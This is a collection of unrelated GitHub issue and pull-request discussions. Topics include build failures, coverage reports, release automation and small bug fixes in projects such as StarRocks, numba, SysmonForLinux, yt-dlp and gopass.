com/starrocks/analysis/OrderByElement.java
1
1
100.00%

:large_blue_circle:
com/starrocks/common/Config.java
2
2
100.00%

run starrocks_fe_unittest

run starrocks_fe_unittest

run starrocks_fe_unittest

[FE PR Coverage check]
:heart_eyes: pass : 15 / 15 (100.00%)
file detail

path
covered line
new line
coverage

:large_blue_circle:
com/starrocks/sql/optimizer/transformer/RelationTransformer.java
1
1
100.00%

:large_blue_circle:
com/starrocks/sql/parser/SqlParser.java
1
1
100.00%

:large_blue_circle:
com/starrocks/sql/parser/AstBuilder.java
3
3
100.00%

:large_blue_circle:
com/starrocks/analysis/OrderByElement.java
3
3
100.00%

:large_blue_circle:
com/starrocks/analysis/SortInfo.java
1
1
100.00%

:large_blue_circle:
com/starrocks/qe/SqlModeHelper.java
3
3
100.00%

:large_blue_circle:
com/starrocks/sql/optimizer/transformer/QueryTransformer.java
1
1
100.00%

:large_blue_circle:
com/starrocks/common/Config.java
1
1
100.00%

:large_blue_circle:
com/starrocks/sql/optimizer/transformer/WindowTransformer.java
1
1
100.00%

@Mergifyio backport branch-2.2


Links opening in Safari, instead of app

I've encountered this problem recently and I can't figure out how to fix it. Basically, the internal, relative paths are opening on Safari instead of inside the iOS app. Here's some context, I'm running rails 6.1.5 with turbo-rails 1.0.1. I followed the upgrading guide "Compatibility with Rails UJS"
On the iOS side, I'm running a slightly modified version of @dalezak's "Turbo-iOS base project", you can see the repo here. The package dependency point to turbo-ios 7.0.0-rc.6.
I'm not sure if I'm 100% sure on this, but it seems like it's treating all those links as external.
extension TurboController: SessionDelegate {
    func session(_ session: Session, openExternalURL url: URL) {
        let safariViewController = SFSafariViewController(url: url)
        present(safariViewController, animated: true, completion: nil)
    }
}

When I print() the url, I can see it as an absolute path like http://localhost:3000/some-page-url, same behavior happens on a test env. But on HTML code it's relative.
I'm a bit lost, to say the least, I'm not sure if the error is on the rails side or the swift side. Any help would be very much appreciated. And please let me know if I need to share more stats or code. Thanks!

Few questions that might help narrow down the issue:

If you navigate to your website in the browser and click links, does Turbo handle them or are they just treated as link clicks by the browser? You can verify this via the network tab in dev tools.
Does this only happen with localhost URLs (ie if you deploy to Heroku does the issue still happen)?
Are you 100% sure you’ve exposed window.Turbo?

@ghiculescu Thank you so much for your reply. Interestingly enough Turbo was loading but it was not handling the links. I discovered the root of the problem. Google analytics js. I followed gorails guide on using google analytics with turbolinks, which I updated for Turbo. But it is still conflicting with Turbo. Any idea how to fix that? Thanks!


Release 6.0

There are 2 TODO:s left to fix (see the 2 sonar issues). Should have been fixed before.


Fix inplace operator error for arrays

This PR fixes a bug when inplace operators are used explicitly on arrays (e.g. operator.iadd(A, B) vs. A += B)
Minimal reproducer (broken on current master, works on this branch):
from numba import njit
import numpy as np
import operator

@njit
def f(A):
    return operator.iadd(A, A)

f(np.array([1,3]))

Fixes #4131

It'd be good to add a regression test for this. I found these inplace operator tests:
https://github.com/numba/numba/blob/72b531690a7c9e0eea79b1dd77a739f89939b0bd/numba/tests/test_ufuncs.py#L1071-L1135
but it doesn't look like calling things like operator.iadd are tested, just +=. Is this the case, or am I missing different tests elsewhere?

Updated inplace_op_test to work when specifying inplace operations as both a string (e.g. '+=') or a function (e.g. operator.iadd). At this point, I think this should be good to enter the review queue

Gentle ping for this PR to be moved into the review queue

@jrbourbeau thanks, it's now queued.

Great, thanks @stuartarchibald : )

There's a couple of tests that Azure CI is struggling with, http problems, Travis-CI passed so I think this is fine to merge.


make at Ubuntu 21.10 impish fails

lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 21.10
Release:	21.10
Codename:	impish

So I'm running a fully uptodate Ubuntu 21.10 on AMD Ryzen 7
I completed the pre-reqs
I also installed fine   SysinternalsEBPF
my make i.e. last line fails thus

sudo make clean
m@lenny:~/code/SysmonForLinux/build$ sudo make
[  1%] Extracting sysmonmsg.mc.utf16
[  2%] Extracting sysmonmsgop.man.utf16
[  3%] Converting sysmonmsgop.man.utf16 to UTF8
[  4%] Extracting sysmonmsgop.c from sysmonmsgop.man
[  5%] Extracting sysmonevents.h.utf16
Warning skip check of User due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of User due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of User due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of User due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Archived due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Archived due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Archived due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of CommandLine due to misalignment
Warning skip check of CurrentDirectory due to misalignment
Warning skip check of User due to misalignment
Warning skip check of LogonGuid due to misalignment
Warning skip check of LogonId due to misalignment
Warning skip check of TerminalSessionId due to misalignment
Warning skip check of IntegrityLevel due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of ParentProcessGuid due to misalignment
Warning skip check of ParentProcessId due to misalignment
Warning skip check of ParentImage due to misalignment
Warning skip check of ParentCommandLine due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Signed due to misalignment
Warning skip check of Signature due to misalignment
Warning skip check of SignatureStatus due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of PipeName due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of PipeName due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Archived due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of CommandLine due to misalignment
Warning skip check of CurrentDirectory due to misalignment
Warning skip check of User due to misalignment
Warning skip check of LogonGuid due to misalignment
Warning skip check of LogonId due to misalignment
Warning skip check of TerminalSessionId due to misalignment
Warning skip check of IntegrityLevel due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of ParentProcessGuid due to misalignment
Warning skip check of ParentProcessId due to misalignment
Warning skip check of ParentImage due to misalignment
Warning skip check of ParentCommandLine due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Signed due to misalignment
Warning skip check of Signature due to misalignment
Warning skip check of SignatureStatus due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of PipeName due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of PipeName due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Archived due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of FileVersion due to misalignment
Warning skip check of Description due to misalignment
Warning skip check of Product due to misalignment
Warning skip check of Company due to misalignment
Warning skip check of CommandLine due to misalignment
Warning skip check of CurrentDirectory due to misalignment
Warning skip check of User due to misalignment
Warning skip check of LogonGuid due to misalignment
Warning skip check of LogonId due to misalignment
Warning skip check of TerminalSessionId due to misalignment
Warning skip check of IntegrityLevel due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of ParentProcessGuid due to misalignment
Warning skip check of ParentProcessId due to misalignment
Warning skip check of ParentImage due to misalignment
Warning skip check of ParentCommandLine due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of CreationUtcTime due to misalignment
Warning skip check of PreviousCreationUtcTime due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of User due to misalignment
Warning skip check of Protocol due to misalignment
Warning skip check of Initiated due to misalignment
Warning skip check of SourceIsIpv6 due to misalignment
Warning skip check of SourceIp due to misalignment
Warning skip check of SourceHostname due to misalignment
Warning skip check of SourcePort due to misalignment
Warning skip check of SourcePortName due to misalignment
Warning skip check of DestinationIsIpv6 due to misalignment
Warning skip check of DestinationIp due to misalignment
Warning skip check of DestinationHostname due to misalignment
Warning skip check of DestinationPort due to misalignment
Warning skip check of DestinationPortName due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ImageLoaded due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Signed due to misalignment
Warning skip check of Signature due to misalignment
Warning skip check of SignatureStatus due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of ImageLoaded due to misalignment
Warning skip check of FileVersion due to misalignment
Warning skip check of Description due to misalignment
Warning skip check of Product due to misalignment
Warning skip check of Company due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Signed due to misalignment
Warning skip check of Signature due to misalignment
Warning skip check of SignatureStatus due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of SourceProcessGuid due to misalignment
Warning skip check of SourceProcessId due to misalignment
Warning skip check of SourceImage due to misalignment
Warning skip check of TargetProcessGuid due to misalignment
Warning skip check of TargetProcessId due to misalignment
Warning skip check of TargetImage due to misalignment
Warning skip check of NewThreadId due to misalignment
Warning skip check of StartAddress due to misalignment
Warning skip check of StartModule due to misalignment
Warning skip check of StartFunction due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of Device due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of SourceProcessGUID due to misalignment
Warning skip check of SourceProcessId due to misalignment
Warning skip check of SourceThreadId due to misalignment
Warning skip check of SourceImage due to misalignment
Warning skip check of TargetProcessGUID due to misalignment
Warning skip check of TargetProcessId due to misalignment
Warning skip check of TargetImage due to misalignment
Warning skip check of GrantedAccess due to misalignment
Warning skip check of CallTrace due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of CreationUtcTime due to misalignment
Warning skip check of EventType due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetObject due to misalignment
Warning skip check of EventType due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetObject due to misalignment
Warning skip check of Details due to misalignment
Warning skip check of EventType due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetObject due to misalignment
Warning skip check of NewName due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of CreationUtcTime due to misalignment
Warning skip check of Hash due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of PipeName due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of PipeName due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of EventType due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of Operation due to misalignment
Warning skip check of User due to misalignment
Warning skip check of EventNamespace due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Query due to misalignment
Warning skip check of EventType due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of Operation due to misalignment
Warning skip check of User due to misalignment
Warning skip check of Name due to misalignment
Warning skip check of Type due to misalignment
Warning skip check of Destination due to misalignment
Warning skip check of EventType due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of Operation due to misalignment
Warning skip check of User due to misalignment
Warning skip check of Consumer due to misalignment
Warning skip check of Filter due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of TargetFilename due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Archived due to misalignment
Warning skip check of UtcTime due to misalignment
Warning skip check of ProcessGuid due to misalignment
Warning skip check of ProcessId due to misalignment
Warning skip check of Image due to misalignment
Warning skip check of Session due to misalignment
Warning skip check of ClientInfo due to misalignment
Warning skip check of Hashes due to misalignment
Warning skip check of Path due to misalignment
Warning skip check of Archived due to misalignment
[  6%] Converting sysmonevents.h.utf16 to UTF8
[  7%] Converting sysmonmsg.mc.utf16 to UTF8
[  8%] Extracting sysmonmsg.h from sysmonmsg.mc
[  9%] Extracting sysmonmsgop.h from sysmonmsgop.man
Scanning dependencies of target sysmonLogView
[ 10%] Building CXX object CMakeFiles/sysmonLogView.dir/sysmonLogView/sysmonLogView.cpp.o
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp: In function ‘void processCmdline(int, char**, std::unordered_set<unsigned int>*, std::unordered_map<unsigned int, std::unordered_set<std::__cxx11::basic_string<char> > >*, std::pair<long unsigned int, long unsigned int>*, std::pair<long unsigned int, long unsigned int>*, std::unordered_map<std::__cxx11::basic_string<char>, std::unordered_set<std::__cxx11::basic_string<char> > >*, bool*)’:
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:452:33: error: loop variable ‘it’ creates a copy from type ‘const std::pair<const unsigned int, std::unordered_set<std::__cxx11::basic_string<char> > >’ [-Werror=range-loop-construct]
  452 |                 for (const auto it : *eventIdFields) {
      |                                 ^~
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:452:33: note: use reference type to prevent copying
  452 |                 for (const auto it : *eventIdFields) {
      |                                 ^~
      |                                 &
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:454:37: error: loop variable ‘it2’ creates a copy from type ‘const std::__cxx11::basic_string<char>’ [-Werror=range-loop-construct]
  454 |                     for (const auto it2 : it.second) {
      |                                     ^~~
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:454:37: note: use reference type to prevent copying
  454 |                     for (const auto it2 : it.second) {
      |                                     ^~~
      |                                     &
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:482:33: error: loop variable ‘it2’ creates a copy from type ‘const std::pair<const std::__cxx11::basic_string<char>, std::unordered_set<std::__cxx11::basic_string<char> > >’ [-Werror=range-loop-construct]
  482 |                 for (const auto it2 : *filters) {
      |                                 ^~~
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:482:33: note: use reference type to prevent copying
  482 |                 for (const auto it2 : *filters) {
      |                                 ^~~
      |                                 &
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:484:37: error: loop variable ‘it3’ creates a copy from type ‘const std::__cxx11::basic_string<char>’ [-Werror=range-loop-construct]
  484 |                     for (const auto it3 : it2.second) {
      |                                     ^~~
/home/m/code/SysmonForLinux/sysmonLogView/sysmonLogView.cpp:484:37: note: use reference type to prevent copying
  484 |                     for (const auto it3 : it2.second) {
      |                                     ^~~
      |                                     &
cc1plus: all warnings being treated as errors
make[2]: *** [CMakeFiles/sysmonLogView.dir/build.make:118: CMakeFiles/sysmonLogView.dir/sysmonLogView/sysmonLogView.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:143: CMakeFiles/sysmonLogView.dir/all] Error 2
make: *** [Makefile:103: all] Error 2

This has been fixed by the mentioned PR. Thanks!


Standardize automatic NPM publishing

This is a placeholder issue for figuring out interplanetary conventions for automatic publishing to NPM.
@hugomrdias lmk if you have any preference here, below is my summary of past conversations
Current state

We have competing conventions and publishing flows across JS libs (IPFS/libp2p/ipld/multiformates):

JS IPFS libs usually require maintainer to do manual publishing via aegir release
Various IPLD repos use mikeal/merge-release + Github Action to publish to NPM on every merge to the main branch (major, minor or patch sem. version is picked based on commit messages)

Unifying publishing across JS repos
Details TBD, but during triage discussion we hinted at upstreaming some convention, perhaps  to aegir/CI template, just like we did for tests and other checks in https://github.com/ipfs/aegir/blob/master/md/github-actions.md
Hard requirement:  adopted convention  should work fine in repos without aegir.
Prior Art

mikeal/merge-release avoid commits on purpose

merge-release had some problems recently dealing with >1 commits in a merge and figuring out the right semver bump (a major ended up as a patch and required a scramble to fix – annoying, but fixable)

release-please makes a PR so the maintainer is the one making the commits.

This hybrid approach gives maintainer a bit of control (to batch changes together or to release every commit), and makes it possible to eyeball what the next release will be, before it's released.
Seems to be blocked on support for npm workspaces/monorepos like js-ipfs one
Release-please also has an extra tool that allows 2FA to be on and avoid automation tokens. But you need to configure it and deploy it to Google engine thing and that will do the 2FA for you.
@hugomrdias did a PoC in hugomrdias/playwright-test  where a PR is created from any outstanding changes and publish to NPM occurs when the aggregator PR is merged.

semantic-release is what lerna uses behind the scenes, so it's being used by js-ipfs  – we can see what the generated release notes look like, etc.

note from @achingbrain regarding js-ipfs monorepo:

Whatever solution we settle on, it should support monorepos as well as single-module repos, that way we can use npm 7 workspaces for dep hoisting and running scripts in packages, and this tool for releases and we can drop lerna.
Lerna works and works well, but npm 7 is faster and the long term maintenance of the project has looked a bit wobbly for a while.

We also have a mono-repo setup here https://github.com/ipfs-shipyard/nft.storage with different types of packages that need different kinds of post release tasks using release-please

I've seen https://semantic-release.gitbook.io/semantic-release/ a lot for this but have yet to try it out. I've been meaning to try it on some personal projects and will report back if I get around to that.
I'm about to get some experience with release-please as it was enthusiastically suggested for node-gyp where we have merge & release bottlenecks (the main bottleneck being me) but I've imposed a requirement that we not do automated releases yet because it's such a critical project that I don't want it to be too easy for a rogue commit to go straight out to npm without enough eyes. But we may iterate toward auto-releasing eventually with some confidence. First PR generated by it for release is: https://github.com/nodejs/node-gyp/pull/2401

I just got semantic-release configured and working as I want it for ipld-garbage.
package.json config: https://github.com/rvagg/js-ipld-garbage/blob/828a551abe8a83a254b7abda2eb3775b1d42ec3b/package.json#L59-L75
GitHub Actions roll-up test & maybe release: https://github.com/rvagg/js-ipld-garbage/blob/master/.github/workflows/test-and-release.yml (release if it's running against master).
In this case it uses the new ipld packaging format which publishes from a built dist/ directory rather than ., and that's supported by the semantic-release npm plugin. So this gives me the same functionality as mikeal/merge-release and a bit more (I get changelogs and GitHub Releases published now!), plus getting access to an ecosystem of plugins.
Happy with this so far, I might roll it out further.

some additional tweaks to get it to deal better with conventional-commits: https://github.com/rvagg/js-ipld-garbage/blob/master/package.json#L59-L96

Next step is to create a template repo with setup that covers our requirements (support for moni repo etc).
Hopefully this is something a JS tribute could land within a week shift.

The template is coming together here: https://github.com/protocol/.github/issues/273

Done via https://github.com/protocol/.github/issues/273


[FEAT] Third-stage CI jobs shouldn't depend on first-stage jobs

Describe the problem you're having

Describe the solution you'd like to see

Describe any alternatives you've considered

Additional context

Closing. https://github.com/bitcoin-tools/nodebuilder/pull/715#issuecomment-2092985072


Correct favicon for todo group

The website favicon was the GraphQL logo. Replaced it with the favicon from the TODO Group website repo.
Pre-submission checklist:
Please check each of these after submitting your pull request:
Revmoved items that do not apply from the list...

[x] ~10 minutes after opening the pull request, the CNCF-Bot will post the URL for your staging server. Have you confirmed that it looks good to you and then added a comment to the PR saying "LGTM"?

thanks!


Add scopes to plugin's entry points group

Fixes #115

[ ] Existent plugins need to be updated (the entry points section in pyproject.toml)
[ ] The plugin template needs to be updated, too, to reflect this new format.

@franalgaba this will break the plugin template

@martriay I did a refactor of the README, and added an example of how to use both CLI and NRE based on your suggestion. For a guide to migrate plugins, I think it would make more sense to add it to the plugin boilerplate itself instead of our README, but anyway, I think with the example I added is enough to act as migration guide.


new config

Hi from codespaces

thank you so much for this @crazy4pi314 !! merging!

@all-contributors please add @crazy4pi314 for code, review


Update AppStatsCenterImpl.java

the total memory show in jsp panel should accumulate by this table instance_statistics in mysql,the before is instance_info and cann't show the real memory

thanks leifu. I think check the code should carefully.


App loading with more features

Relocations are performed, obviating the need for manual pic sprinkling.

Globals with initial values (vs all-0 globals in BSS) are now initialized to those values.

Contains #68, though if that PR is not wanted this is easy to undo.

Thanks for this landmark contribution!
I did merge #68.
Wondering about the use of link_wrap.sh, which would not work on Windows/Mac (might be a detail but it is nice to not have to worry about this anymore). This  could be integrated into cargo-ledger for platform indepence, what do you think?
(I suspect you don't use cargo-ledger though 😄)

We actually do use cargo-ledger! Yeah I suppose it could be made part of that, good idea.

Ok, then this is a 'nice' option for cross-platform building, but would be really nice if that wasn't even necessary. I recall you mentioned trying to have a section containing relocations directly in the linker script does not work @Ericson2314 , because then it's also considered something to relocate and trouble ensues. Do you have a link to anything that mentions this problem? Even if it points into LLVM's source code, I'm ready 😄

The problem with doing the "link-wrap" phase in the cargo ledger is that the cargo run and cargo test commands will not be able to work. And I am not sure invoking cargo-ledger from cargo test would be a good idea.

Yes agreed! So I just need to find a way to execute those commands in Windows properly, but having a linker field that can be different depending on the host does not appear to be possible.
Your PR is great, I'm just unclear on why we can't have the .rel.* sections in their own sections. I didn't find any information that would confirm that this is the intended behaviour, or a blindspot of lld.

See #128


why not python3

Is your feature request related to a problem? Please describe.
Why using python2 when python2 can be ported to python3 using 2to3 ?
Describe the solution you'd like
We could use 2to3 as far as I know

It seems it is using python3 on GIMP3-ML branch, and python2 is default for python-fu on GIMP 2 as far as i know. Hope this helps!

we could use master branch with python3 - before GIMP3 is ready

I'm puzzled as well. it's some conflict for this problem. For I use the ubuntu20, it's not support for the python2-pip, but the install script use it.
But the tips in there: https://github.com/kritiksoman/GIMP-ML/wiki/#de-blur show it has been tested for ubuntu20 and ML1. How to test it?


fix: Drops pages could have dedicated og:image

[x] Closes #6349

Emm. I still do not figure out why it does not work, as the seo tag had been updated accordingly.
link: https://deploy-preview-6363--koda-canary.netlify.app/stmn/drops/free-drop

The preview information is still the same as the previous one.

/drops shows the image correctly
drops/free-drop shows the image correctly
items inside the drop collection shows their respective image/description
tested on: twitter, telegram, discord (open graph site wont load the image, don't know why, but not important.)
as Jarsen said, the right description for the drop link still won't show
opengraph tags:
  <!-- HTML Meta Tags -->
  <title>undefined</title>
  <meta name="description" content="undefined">

  <!-- Facebook Meta Tags -->
  <meta property="og:url" content="https://deploy-preview-6363--koda-canary.netlify.app/stmn/drops/free-drop">
  <meta property="og:type" content="website">
  <meta property="og:title" content="undefined">
  <meta property="og:description" content="undefined">
  <meta property="og:image" content="">

  <!-- Twitter Meta Tags -->
  <meta name="twitter:card" content="summary_large_image">
  <meta property="twitter:domain" content="deploy-preview-6363--koda-canary.netlify.app">
  <meta property="twitter:url" content="https://deploy-preview-6363--koda-canary.netlify.app/stmn/drops/free-drop">
  <meta name="twitter:title" content="undefined">
  <meta name="twitter:description" content="undefined">
  <meta name="twitter:image" content="">

  <!-- Meta Tags Generated via https://www.opengraph.xyz -->

maybe something related with kodadot workers? ssr-opengraph?

Emm. I still do not figure out why it does not work, as the seo tag had been updated accordingly.
link: deploy-preview-6363--koda-canary.netlify.app/stmn/drops/free-drop

seems like prerendering on netlify is not working. I can help with canary/beta by using worker
so, what we can do in this PR is validate the metadata (or image) on the client side by using chrome extension
I will open the PR on the workers side

adjust e2e test? otherwise lgtm 👍

✅ E2E test pass

Emm. I still do not figure out why it does not work, as the seo tag had been updated accordingly.
link: deploy-preview-6363--koda-canary.netlify.app/stmn/drops/free-drop

seems like prerendering on netlify is not working. I can help with canary/beta by using worker so, what we can do in this PR is validate the metadata (or image) on the client side by using chrome extension
I will open the PR on the workers side


[willow] new extractor

Please follow the guide below

You will be asked some questions, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your pull request (like that [x])
Use Preview tab to see how your pull request will actually look like

Before submitting a pull request make sure you have:

[x] At least skimmed through contributing guidelines including yt-dlp coding conventions
[x] Searched the bugtracker for similar pull requests
[x] Checked the code with flake8

In order to be accepted and merged into yt-dlp each piece of code must be in public domain or released under Unlicense. Check one of the following options:

[x] I am the original author of this code and I am willing to release it under Unlicense
[ ] I am not the original author of this code but it is in public domain or released under Unlicense (provide reliable evidence)

What is the purpose of your pull request?

[ ] Bug fix
[ ] Improvement
[x] New extractor
[ ] New feature

Description of your pull request and other information
Extractor for willow.tv, which has both free and subscriber-only content. Only support for free videos was added as I am not a paid subscriber.

Please confirm that changes I made are fine

I confirm.


Remove AAS info

The entries for AAS DOI and Journal are not needed here.

Thank you for this fix.


Don't try to update any HEAD build, regardless of version

I think the original check is faulty, as it's never supposed to try and update a HEAD build, regardless of the exact version. This also leads to the problem, that gopass currently thinks that 1.6.0-git+HEAD is updateable to 1.6.0 stable.
This change cancels the update check for all manual HEAD builds.

Good catch, that broke when changing the default version number.


GH-35633: [R] R builds failing with error 'Invalid: Timestamps already have a timezone: 'UTC'. Cannot localize to 'UTC''

Closes: #35633

I'm fine with skipping %z in the tests; however, you could also test the strptime format for %z. This seems to pass tests for me locally ( main...paleolimbot:arrow:r-assume-tz-fix2 ).

If you've already done that on another branch, can you make a PR with that and I'll just close this one then?


Add float value seconds

Add floating seconds value as defined in https://www.w3.org/TR/xmlschema11-2/#nt-duSeFrag.
I also tried to improve on the the unit tests.

@klein141 an explanatory comment why the PR was rejected would have been nice.


Section in the readme needed: What you would have to do to an existing .vue component to make it a RonnieSan/browser-component

For example, https://github.com/showonne/vue-date is an example of a reusable .vue component. There's only a few changes that would need to be made to that project/repo for it be able to make the RonnieSan/browser-component .js version of the same ready for use in the way you describe.  That's for the change the source code route.
